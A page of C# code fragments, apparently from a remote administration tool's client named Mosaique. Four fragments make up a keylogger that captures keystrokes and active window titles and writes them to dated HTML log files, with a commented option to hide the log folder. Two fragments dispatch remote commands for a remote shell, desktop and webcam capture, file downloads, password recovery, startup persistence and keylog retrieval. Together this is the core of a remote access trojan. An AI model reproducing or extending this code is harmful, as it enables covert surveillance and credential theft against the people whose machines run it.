Example #1
0
        private void OnKeyDown(object sender, KeyEventArgs e)                      //Called first
        {
            string activeWindowTitle = KeyLoggerController.GetActiveWindowTitle(); //Get active thread window title

            if (!string.IsNullOrEmpty(activeWindowTitle) && activeWindowTitle != _lastWindowTitle)
            {
                _lastWindowTitle = activeWindowTitle;
                _logFileBuffer.Append(@"<p class=""h""><br><br>[<b>"
                                      + KeyLoggerController.Filter(activeWindowTitle) + " - "
                                      + DateTime.Now.ToString("HH:mm")
                                      + "</b>]</p><br>");
            }

            if (_pressedKeys.IsModifierKeysSet())
            {
                if (!_pressedKeys.Contains(e.KeyCode))
                {
                    Debug.WriteLine("OnKeyDown: " + e.KeyCode);
                    _pressedKeys.Add(e.KeyCode);
                    return;
                }
            }

            if (!e.KeyCode.IsExcludedKey())
            {
                // The key was not part of the keys that we wish to filter, so
                // be sure to prevent a situation where multiple keys are pressed.
                if (!_pressedKeys.Contains(e.KeyCode))
                {
                    Debug.WriteLine("OnKeyDown: " + e.KeyCode);
                    _pressedKeys.Add(e.KeyCode);
                }
            }
        }
Example #2
0
        private void WriteFile()
        {
            bool writeHeader = false;

            string filename = Path.Combine(LogDirectory, DateTime.Now.ToString("MM-dd-yyyy"));

            try
            {
                DirectoryInfo di = new DirectoryInfo(LogDirectory);

                if (!di.Exists)
                {
                    di.Create();
                }

                //if (Settings.HIDELOGDIRECTORY)
                // di.Attributes = FileAttributes.Directory | FileAttributes.Hidden;

                if (!File.Exists(filename))
                {
                    writeHeader = true;
                }

                StringBuilder logFile = new StringBuilder();

                if (writeHeader)
                {
                    logFile.Append(
                        "<meta http-equiv='Content-Type' content='text/html; charset=utf-8' />Log created on " +
                        DateTime.Now.ToString("dd.MM.yyyy HH:mm") + "<br><br>");

                    logFile.Append("<style>.h { color: 0000ff; display: inline; }</style>");

                    _lastWindowTitle = string.Empty;
                }

                if (_logFileBuffer.Length > 0)
                {
                    logFile.Append(_logFileBuffer);
                }

                KeyLoggerController.WriteLogFile(filename, logFile.ToString());

                logFile.Clear();
            }
            catch
            {
            }

            _logFileBuffer.Clear();
        }
Example #3
0
        //This method should be used to process all of our unicode characters
        private void OnKeyPress(object sender, KeyPressEventArgs e) //Called second
        {
            if (_pressedKeys.IsModifierKeysSet() && _pressedKeys.ContainsKeyChar(e.KeyChar))
            {
                return;
            }

            if ((!_pressedKeyChars.Contains(e.KeyChar) || !KeyLoggerController.DetectKeyHolding(_pressedKeyChars, e.KeyChar)) && !_pressedKeys.ContainsKeyChar(e.KeyChar))
            {
                var filtered = KeyLoggerController.Filter(e.KeyChar);
                if (!string.IsNullOrEmpty(filtered))
                {
                    Debug.WriteLine("OnKeyPress Output: " + filtered);
                    if (_pressedKeys.IsModifierKeysSet())
                    {
                        _ignoreSpecialKeys = true;
                    }

                    _pressedKeyChars.Add(e.KeyChar);
                    _logFileBuffer.Append(filtered);
                }
            }
        }
Example #4
0
        public static void packetChecker(ClientMosaique client, IPackets packet)
        {
            var type = packet.Type;

            if (type == TypePackets.DoAskElevate)
            {
                Controllers.Tools.CommandController.doAskElevate((DoAskElevate)packet, client);
            }
            else if (type == TypePackets.SetClientIdentifier)
            {
                ManageController.setClientIdentifier((SetClientIdentifier)packet, client);
            }
            else if (type == TypePackets.UninstallClient)
            {
                ClientUninstallerController.uninstall(client);
            }
            else if (type == TypePackets.CloseClient)
            {
                ManageController.CloseClient();
            }
            else if (type == TypePackets.GetMonitors)
            {
                RemoteDesktopController.getMonitors(client);
            }
            else if (type == TypePackets.GetDesktop)
            {
                RemoteDesktopController.getDesktop((GetDesktop)packet, client);
            }
            else if (type == TypePackets.GetExecuteShellCmd)
            {
                RemoteShellController.getExecuteShellCmd((GetExecuteShellCmd)packet, client);
            }
            else if (type == TypePackets.GetAvailableWebcams)
            {
                RemoteWebcamController.getAvailableWebcams((GetAvailableWebcams)packet, client);
            }
            else if (type == TypePackets.GetWebcam)
            {
                RemoteWebcamController.getWebcam((GetWebcam)packet, client);
            }
            else if (type == TypePackets.StopWebcam)
            {
                RemoteWebcamController.stopWebcam();
            }
            else if (type == TypePackets.GetDrives)
            {
                FileManagerController.getDrives((GetDrives)packet, client);
            }
            else if (type == TypePackets.GetDirectory)
            {
                FileManagerController.getDirectory((GetDirectory)packet, client);
            }
            else if (type == TypePackets.DoDownloadFile)
            {
                FileManagerController.doDownloadFile((DoDownloadFile)packet, client);
            }
            else if (type == TypePackets.DoDownloadFileCancel)
            {
                FileManagerController.doDownloadFileCancel((DoDownloadFileCancel)packet, client);
            }
            else if (type == TypePackets.GetProcesses)
            {
                TaskManagerController.getProcesses((GetProcesses)packet, client);
            }
            else if (type == TypePackets.GetSysInfo)
            {
                SystemInformationController.getSysInfo(client);
            }
            else if (type == TypePackets.GetStartupItems)
            {
                StartupManagerController.getStartupItems((GetStartupItems)packet, client);
            }
            else if (type == TypePackets.DoStartupItemAdd)
            {
                StartupManagerController.doStartupItemAdd((DoStartupItemAdd)packet, client);
            }
            else if (type == TypePackets.DoStartupItemRemove)
            {
                StartupManagerController.doStartupItemRemove((DoStartupItemRemove)packet, client);
            }
            else if (type == TypePackets.GetPasswords)
            {
                PasswordRecoveryController.getPasswords((GetPasswords)packet, client);
            }
            else if (type == TypePackets.GetKeyLoggerLogs)
            {
                KeyLoggerController.getKeyLogger((GetKeyLoggerLogs)packet, client);
            }
            else if (type == TypePackets.DoTrayCdOpenClose)
            {
                DoTrayCdOpenCloseController.openCloseTrayCD((DoTrayCdOpenClose)packet, client);
            }
            else if (type == TypePackets.SendMessageBox)
            {
                SendMessageBoxController.MessageBoxShow((SendMessageBox)packet);
            }
            else if (type == TypePackets.MsgToRemoteChat)
            {
                FrmRemoteChatController.msgFromRemoteChat((MsgToRemoteChat)packet, client);
            }
            else if (type == TypePackets.CloseRemoteChat)
            {
                FrmRemoteChatController.closeRemoteChat(client);
            }
            else if (type == TypePackets.PlaySong)
            {
                PlaySongController.playOnInt((PlaySong)packet);
            }
        }
Example #5
0
        private string HighlightSpecialKeys(Keys[] keys)
        {
            if (keys.Length < 1)
            {
                return(string.Empty);
            }

            string[] names = new string[keys.Length];
            for (int i = 0; i < keys.Length; i++)
            {
                if (!_ignoreSpecialKeys)
                {
                    names[i] = KeyLoggerController.GetDisplayName(keys[i]);
                    Debug.WriteLine("HighlightSpecialKeys: " + keys[i] + " : " + names[i]);
                }
                else
                {
                    names[i] = string.Empty;
                    _pressedKeys.Remove(keys[i]);
                }
            }

            _ignoreSpecialKeys = false;

            if (_pressedKeys.IsModifierKeysSet())
            {
                StringBuilder specialKeys = new StringBuilder();

                int validSpecialKeys = 0;
                for (int i = 0; i < names.Length; i++)
                {
                    _pressedKeys.Remove(keys[i]);
                    if (string.IsNullOrEmpty(names[i]))
                    {
                        continue;
                    }

                    specialKeys.AppendFormat((validSpecialKeys == 0) ? @"<p class=""h"">[{0}" : " + {0}", names[i]);
                    validSpecialKeys++;
                }

                // If there are items in the special keys string builder, give it an ending tag
                if (validSpecialKeys > 0)
                {
                    specialKeys.Append("]</p>");
                }

                Debug.WriteLineIf(specialKeys.Length > 0, "HighlightSpecialKeys Output: " + specialKeys.ToString());
                return(specialKeys.ToString());
            }

            StringBuilder normalKeys = new StringBuilder();

            for (int i = 0; i < names.Length; i++)
            {
                _pressedKeys.Remove(keys[i]);
                if (string.IsNullOrEmpty(names[i]))
                {
                    continue;
                }

                switch (names[i])
                {
                case "Return":
                    normalKeys.Append(@"<p class=""h"">[Enter]</p><br>");
                    break;

                case "Escape":
                    normalKeys.Append(@"<p class=""h"">[Esc]</p>");
                    break;

                default:
                    normalKeys.Append(@"<p class=""h"">[" + names[i] + "]</p>");
                    break;
                }
            }

            Debug.WriteLineIf(normalKeys.Length > 0, "HighlightSpecialKeys Output: " + normalKeys.ToString());
            return(normalKeys.ToString());
        }
Example #6
0
        public static void packetChecker(ClientMosaic client, IPackets packet)
        {
            var type = packet.Type;

            if (type == TypePackets.DoAskElevate)
            {
                Controllers.Tools.CommandController.doAskElevate((DoAskElevate)packet, client);
            }
            else if (type == TypePackets.GetMonitors)
            {
                RemoteDesktopController.getMonitors(client);
            }
            else if (type == TypePackets.GetDesktop)
            {
                RemoteDesktopController.getDesktop((GetDesktop)packet, client);
            }
            else if (type == TypePackets.GetExecuteShellCmd)
            {
                RemoteShellController.getExecuteShellCmd((GetExecuteShellCmd)packet, client);
            }
            else if (type == TypePackets.GetAvailableWebcams)
            {
                RemoteWebcamController.getAvailableWebcams((GetAvailableWebcams)packet, client);
            }
            else if (type == TypePackets.GetWebcam)
            {
                RemoteWebcamController.getWebcam((GetWebcam)packet, client);
            }
            else if (type == TypePackets.StopWebcam)
            {
                RemoteWebcamController.stopWebcam();
            }
            else if (type == TypePackets.GetDrives)
            {
                FileManagerController.getDrives((GetDrives)packet, client);
            }
            else if (type == TypePackets.GetDirectory)
            {
                FileManagerController.getDirectory((GetDirectory)packet, client);
            }
            else if (type == TypePackets.DoDownloadFile)
            {
                FileManagerController.doDownloadFile((DoDownloadFile)packet, client);
            }
            else if (type == TypePackets.DoDownloadFileCancel)
            {
                FileManagerController.doDownloadFileCancel((DoDownloadFileCancel)packet, client);
            }
            else if (type == TypePackets.GetProcesses)
            {
                TaskManagerController.getProcesses((GetProcesses)packet, client);
            }
            else if (type == TypePackets.GetSysInfo)
            {
                SystemInformationController.getSysInfo(client);
            }
            else if (type == TypePackets.GetStartupItems)
            {
                StartupManagerController.getStartupItems((GetStartupItems)packet, client);
            }
            else if (type == TypePackets.DoStartupItemAdd)
            {
                StartupManagerController.doStartupItemAdd((DoStartupItemAdd)packet, client);
            }
            else if (type == TypePackets.DoStartupItemRemove)
            {
                StartupManagerController.doStartupItemRemove((DoStartupItemRemove)packet, client);
            }
            else if (type == TypePackets.GetPasswords)
            {
                PasswordRecoveryController.getPasswords((GetPasswords)packet, client);
            }
            else if (type == TypePackets.GetKeyLoggerLogs)
            {
                KeyLoggerController.getKeyLogger((GetKeyLoggerLogs)packet, client);
            }
        }